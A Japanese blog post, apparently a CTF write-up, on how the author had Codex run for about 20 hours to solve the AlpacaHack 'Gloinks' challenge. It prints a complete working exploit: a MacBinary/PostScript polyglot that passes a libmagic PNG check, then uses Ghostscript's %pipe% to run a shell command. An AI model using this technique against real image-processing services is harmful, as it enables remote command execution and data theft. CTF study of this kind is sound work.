AlpacaHack Daily B-Side の Gloinks を Codex に解かせてみました。
きっかけは ptr-yudai さんの次の投稿です。
今週のAlpacaHack B-sideチャレンジを作りました。
AIが強くなった以来、初めて書いたチャレンジです。
残念ながらまだ解かれてません。Mythos、Fable、誰か?
タイトルでは少し強めに「AIには解けない」と書きましたが、正確にはこの投稿を見て「これはAI勢に向けた挑戦状では」と受け取った、という話です。
結果から言うと、解けました。
ただし一瞬ではありません。だいたい20時間かかりました。
今回の実態は、Codexの /goal を使って約20時間連続で調査・検証を走らせ、たまに人間が方向性を確認した、という形です。
完全放置ではありませんが、人間が細かく手順を指示し続けたわけでもありません。
最終的なflagはこれです。
Alpaca{m3M0ry_s4f3TY_1s_a_Li3}
この記事では、最終的な解法だけでなく、なぜ20時間もかかったのか、Codexはどこが強くてどこで迷ったのかも書きます。
Codexにどう依頼したか
最初にCodexへ投げた依頼は、だいたい次のようなものでした。
このctfの問題を解けませんか?
インスタンスサーバーが用意されており、必要になったら聞いてください
ただし5分制限があります
わかった知見はhistory.mdにためていきましょうか
ここで出てくる history.md は、Codexとの作業ログ用に作ったMarkdownファイルです。
CTFをAIに解かせると、試した仮説や失敗した経路がすぐに流れていきます。
そこで、わかったこと、失敗したこと、次に試すべきことを history.md に残しながら進める方針にしました。
実際の進め方は、完全な一発プロンプトでも、細かく人間が指示し続けた形でもありません。
まず配布ファイルを読ませて、ローカルで検証させました。
その後、Codexの /goal を使って、20時間ほど連続で調査・検証・ログ取りを回しました。
途中で人間がやったのは、進捗を見て方向性を確認したり、リモートインスタンスのURLを渡したりする程度です。
リモートインスタンスは5分制限があったので、ローカルで勝ち筋がかなり固まるまでは起動せず、最後にURLを渡してexploitを投げました。
つまり、今回やったことは「Codexに一問丸ごと投げた」というより、
/goalでCodexを20時間ほど連続駆動させ、たまに人間が方向性を確認した
という形に近いです。
ざっくり結論
Gloinksは、画像をアップロードしてプレビューを作るWebアプリの問題でした。
アプリはアップロードされたファイルを libmagic で調べ、MIME type が image/png または image/jpeg のときだけ受け付けます。
しかし実際の画像変換は ImageMagick の convert で行われます。
この「アップロード時に判定するライブラリ」と「実際に処理するライブラリ」が違うところが本質でした。
最終的には次の流れで突破しました。
-
libmagicには MacBinary の中にPNGが入っているように見せる - それによりMIMEチェックを
image/pngで通す - ImageMagickには通常のPNGとして認識させない
- ファイル名を
a.PSにして、PostScriptとしてGhostscriptへ渡す - Ghostscriptの
%pipe%でflagを/tmp/previews/xに書き出す -
/previews/xへアクセスしてflagを読む
一言で言うと、
libmagicとImageMagickのファイル形式判定の差分を突いた
という解法です。
問題の概要
配布ファイルを見ると、中心は Flask の app.py と Dockerfile でした。
アプリはZIPファイルを受け取ります。
ZIPの中には manifest.xml と、画像ファイルが入っている想定です。
処理の流れはだいたいこうです。
- ZIPから
manifest.xmlを読む -
manifest.xml以外の最初のファイルを画像として扱う - 画像の先頭2048バイトを
magic.from_buffer(..., mime=True)に渡す - MIMEが
image/pngまたはimage/jpegでなければ拒否する - ファイルを
/tmp/previews/<token><suffix>に保存する - ImageMagickの
convertを実行する
重要な部分はこのような処理です。
if magic.from_buffer(header, mime=True) not in ALLOWED_MIME:
raise ValueError("unsupported image format")
そして、変換には次のようなコマンドが使われます。
subprocess.run(
["convert", input_path, "-auto-orient", "-resize", size_arg, output_path],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
timeout=3,
)
ここで input_path の拡張子は、ZIP内のファイル名から決まります。
たとえばZIP内の画像ファイル名を a.PS にすると、保存先は次のようになります。
/tmp/previews/<token>.PS
つまり、MIMEチェックさえ通せれば、ImageMagickには .PS 拡張子のファイルとして渡せます。
Dockerfileの怪しい設定
Dockerfileには、かなり露骨に怪しい設定がありました。
sed -i '/pattern="PS"/d;/pattern="PS2"/d;/pattern="PS3"/d;/pattern="EPS"/d;/pattern="PDF"/d;/pattern="XPS"/d' /etc/ImageMagick-6/policy.xml
sed -i 's/-dSAFER/-dNOSAFER/g' /etc/ImageMagick-6/delegates.xml
ImageMagickでは、PostScriptやPDFを読むときにGhostscriptが呼ばれることがあります。
通常は危険なのでpolicyで禁止されがちですが、この問題ではその制限が外されています。
さらに、Ghostscriptの -dSAFER が -dNOSAFER に置き換えられています。
これはかなり大きいです。
PostScriptをGhostscriptに読ませられれば、ファイル読み取りや %pipe% 経由のコマンド実行に近いことができます。
たとえば次のPostScriptが動くと、flagを /tmp/previews/x に書き出せます。
%!PS
(%pipe%cat /flag-*.txt>/tmp/previews/x) (r) file closefile quit
アプリには /previews/<name> で /tmp/previews 以下を読むルートがあります。
なので /tmp/previews/x を作れれば、あとはHTTPで読むだけです。
この時点で見えていた勝ち筋は明確でした。
なんとかしてPostScriptをGhostscriptに読ませれば勝ち
問題は、その前に libmagic のPNG/JPEGチェックがあることでした。
素直なpolyglotは失敗する
最初に考えるのは、ファイルの先頭だけPNGやJPEGにして、後ろにPostScriptを書く方法です。
たとえばこうです。
<PNG signature>
%!PS
...
またはこうです。
<JPEG magic>
%!PS
...
これなら libmagic は image/png や image/jpeg と見てくれるかもしれません。
しかし、この方針はだめでした。
理由は単純で、ImageMagickも同じように先頭のPNG/JPEG magicを見てしまうからです。
つまり、
libmagic: image/png と判定する
ImageMagick: PNGとして処理しようとする
となります。
壊れたPNGとして失敗しても、ImageMagickが「では拡張子 .PS を見てPostScriptとして読み直そう」とはしてくれません。
一度PNGとして読みに行ったら、そのまま失敗します。
欲しいのは、こういうファイルです。
libmagic: image/png または image/jpeg と判定する
ImageMagick: PNG/JPEGとは判定しない
この差分を作る必要がありました。
20時間の迷走
ここからが長かったです。
Codexはかなり多くの候補を試しました。
たとえば次のようなものです。
- PNG/JPEG + PostScript/PDF/EPS のpolyglot
- ImageMagick側もPNG/JPEGとして読みに行くため、後ろのPostScriptやPDFには落ちない
- ImageMagickの
PS:COLORやPS:GRAYのようなcoder指定- Ghostscript起動までは行くものの、delegate引数が壊れて入力を読む前に落ちる
- file-list展開やglobを使った引数注入
-
/tmp/previews/...ではなく/appからの相対パスとして読まれてしまい、狙ったファイルに届かない
-
- PNG/JPEGのmetadata、XMP、IPTC、8BIM profile
- 今回の
-auto-orient -resizeだけの処理では、metadataが外部ファイル読み込みやdelegate呼び出しに昇格しない
- 今回の
- ImageMagickやGhostscriptの最近のCVE
- CLI引数やpolicy条件が必要なものが多く、このアプリの固定された
convert input -auto-orient -resize outputには合わない
- CLI引数やpolicy条件が必要なものが多く、このアプリの固定された
- MNG/JNG、CgBI PNG、EPT、DNG、MAPなどの別形式
-
libmagicのMIME whitelistに弾かれるか、ImageMagick側で結局PNG/JPEGとして処理される
-
-
@fileやlabel:、caption:、text:系のpseudo-coder- 入力パスが実在する通常ファイルとして渡るため、pseudo-coder名として解釈させにくい
どれも「少し惜しい」状態までは行くのですが、最後の一歩が届きませんでした。
たとえば .PS:COLOR のようなsuffixを使うと、ImageMagickがGhostscriptを起動するところまでは行けます。
しかしdelegateの引数が壊れていて、Ghostscriptが入力を読む前に落ちます。
file-list注入も一見使えそうでした。
ただしアプリの作業ディレクトリが /app であるため、期待した /tmp/previews/... ではなく相対パスの tmp/previews/... を読みに行ってしまい、届きませんでした。
PNGのprofileを使った既知のLFIも調べましたが、Debian bookwormのImageMagickではパッチ済みの挙動で、ファイル内容は出ませんでした。
このあたりはCodexの強いところと弱いところが両方出ました。
強いところは、仮説を大量に出して、ソースをgrepし、ローカルで検証し、history.md に結果を残し続けられることです。
弱いところは、探索空間が広いとかなり寄り道することです。
人間が節目で確認すると「それはそろそろ捨ててよさそう」と思う経路でも、Codexはかなり丁寧に潰しに行きます。
その結果、20時間くらい溶けました。
ブレイクスルー: MacBinary
突破口は MacBinary でした。
MacBinaryは、古いMacのファイル情報をまとめるための形式です。
今回重要なのは、libmagic がMacBinaryのdata fork部分を見てくれることでした。
手元の環境では、offset 128 にPNG signatureと IHDR を置くと、ファイル全体が image/png と判定されました。
最小化すると、だいたい次のようなイメージです。
import magic
data = bytearray(512)
data[0] = 0
data[1] = 8
data[2:10] = b"test.png"
data[83:87] = (len(data) - 128).to_bytes(4, "big")
data[128:144] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR"
print(magic.from_buffer(bytes(data), mime=True))
結果はこうなります。
image/png
一方、ImageMagickはこのファイルを通常のPNGとは見ません。
PNG signatureがファイル先頭ではなく、offset 128 にあるからです。
これで、ほしかった差分が作れました。
libmagic: MacBinary内のPNGを見て image/png
ImageMagick: 先頭がPNGではないので、PNGとして扱わない
ここでファイル名を a.PS にしておくと、ImageMagickは最終的にPostScriptとして処理しようとします。
同じファイルをPostScriptとしても動かす
次の問題は、同じファイルをGhostscriptにPostScriptとして読ませることです。
MacBinaryとして見せるためには、いくつかの位置のバイトをゼロにする必要があります。
今回のpayloadでは、最低限次の位置をゼロにしました。
MUST_ZERO = (0, 74, 82, 87, 88, 89, 90, 122, 123)
これはMacBinaryとして認識させるために、ゼロである必要があるヘッダー上の位置です。
完全なMacBinaryをきれいに作るというより、libmagic がMacBinary風の構造として受け入れる最低限の整合性を壊さないための定数です。
一見すると、NULバイトがあるとPostScriptとして壊れそうです。
しかしGhostscriptのPostScript parserでは、NULは空白のように扱われます。
そこで、
- byte 0 はNUL
- byte 1 は改行
- byte 2 から
%!PSを置く - offset 128 にPNG signatureを置く
という構成にしました。
PostScript部分は短くします。
%!PS
(%pipe%cat /flag-*.txt>/tmp/previews/x) (r) file closefile quit
このPostScriptは画像を描きません。
ただflagを /tmp/previews/x に書き出して終了します。
(%pipe%...) はGhostscriptにパイプ経由の入力を開かせる指定で、(r) file はそれを読み込みモードのfileとして開く操作です。
ここでは出力を画像にする必要はないので、開いたfileを closefile で閉じて、すぐ quit しています。
ここで重要なのは、アプリが convert のreturn codeを見ていないことです。
つまり、ImageMagickの変換自体は失敗しても構いません。
Ghostscriptの副作用として /tmp/previews/x が作られていれば勝ちです。
最終exploit
最終的なexploitの中心部分はこれです。
import io
import sys
import zipfile
import requests
PNG_PROBE = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR"
MUST_ZERO = (0, 74, 82, 87, 88, 89, 90, 122, 123)
def make_asset(target_name: str = "x") -> bytes:
command = f"cat /flag-*.txt>/tmp/previews/{target_name}"
code = f"%!PS\n (%pipe%{command}) (r) file closefile quit".encode()
data = bytearray(512)
data[0] = 0
data[1] = 10
data[2 : 2 + len(code)] = code
for pos in MUST_ZERO:
data[pos] = 0
data[83:87] = (len(data) - 128).to_bytes(4, "big")
data[128 : 128 + len(PNG_PROBE)] = PNG_PROBE
return bytes(data)
def make_package() -> bytes:
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr("manifest.xml", '<convert width="1" height="1" />')
zf.writestr("a.PS", make_asset())
return buf.getvalue()
def main() -> int:
base = sys.argv[1].rstrip("/")
package = make_package()
r = requests.post(
f"{base}/api/render",
data=package,
headers={"Content-Type": "application/zip"},
timeout=10,
)
print("render", r.status_code, r.text[:300])
r.raise_for_status()
loot = requests.get(f"{base}/previews/x", timeout=10)
print("loot", loot.status_code)
print(loot.text)
loot.raise_for_status()
return 0
if __name__ == "__main__":
raise SystemExit(main())
実行すると、/api/render のレスポンスではpreviewが空になります。
これは正常です。
今回は正しいプレビュー画像を作るのではなく、Ghostscriptの副作用でflagを書き出しているだけだからです。
実行例はこうでした。
$ python exploit.py http://34.170.146.252:31713
render 200 {"height":1,"ok":true,"output_sha256":"","preview":"","stretch":false,"width":1}
loot 200
Alpaca{m3M0ry_s4f3TY_1s_a_Li3}
なぜ20時間もかかったのか
いちばん大きかったのは、最初の見方が少しずれていたことです。
最初は「ImageMagick問」として見ていました。
もちろんImageMagickは重要です。
Ghostscriptに到達する必要もあります。
しかし、本当に必要だったのはImageMagick単体の脆弱性ではありませんでした。
必要だったのは、
libmagicでは画像に見えるが、ImageMagickでは画像に見えないファイル
を探すことでした。
この観点に早く絞れていれば、もっと短時間で解けたと思います。
逆に言うと、ImageMagickの攻撃面が広すぎました。
ImageMagickにはcoder、delegate、pseudo-coder、metadata、profile、file-list、glob、外部プログラム連携など、調べるべき場所が大量にあります。
しかも今回のDockerfileはGhostscript周りをわざと危険にしているので、そちらへ目が向きます。
その結果、「Ghostscriptへ行けそうで行けない」経路をかなり潰すことになりました。
もう一つの理由は、普通のPNG/JPEG偽装があまりにも自然だったことです。
libmagic で image/png を通すなら、まずPNG signatureを置くことを考えます。
でもそれをやるとImageMagickにもPNGとして見えてしまいます。
この時点で、
libmagicの画像判定は、必ずしもファイル先頭のPNG/JPEGだけではない
と考えられればよかったです。
MacBinaryはまさにそこにいました。
Codexに解かせてみた感想
Codexは、CTFを完全自動で一瞬で解く魔法ではありませんでした。
少なくとも今回は、20時間かかっています。
かなり迷走もしています。
ただし、強いところは明確でした。
- 配布ファイルを読む
- 関係しそうなソースをgrepする
- 仮説ごとにPoCを書く
-
straceで実際に何を読んでいるか確認する - 失敗した経路を
history.mdに残す - 最後にexploitとしてまとめる
このあたりはかなり強かったです。
一方で、探索空間が広い問題では、たまに人間が方向性を確認した方がよさそうです。
特に今回は、
ImageMagickの危険機能を探す
から、
libmagicとImageMagickの判定差分を探す
へ視点を切り替えるのが重要でした。
人間が不要になるというより、人間が節目で探索の方向を整えるとかなり強い、という感触です。
まとめ
Gloinksは、見た目にはImageMagick/Ghostscript問でした。
Dockerfileで -dNOSAFER が見えているので、どうしてもGhostscript側に目が行きます。
しかし最後の本質は、libmagic と ImageMagick のファイル形式判定の差分でした。
MacBinary風のファイルを使うことで、
libmagicには image/png
ImageMagickには .PS
として見せることができました。
そこからGhostscriptにPostScriptを渡し、%pipe% でflagを書き出して解けました。
「AIには解けない」と受け取った問題をCodexに投げたら、20時間かけて解けました。
ただし、これは「AIが全部勝手にやった」というより、「/goal でAIに長時間の仮説検証を担当させ、人間がたまに方向性を確認した」という感じです。
その意味で、CTFにおけるAIの使い方としてかなり面白い経験でした。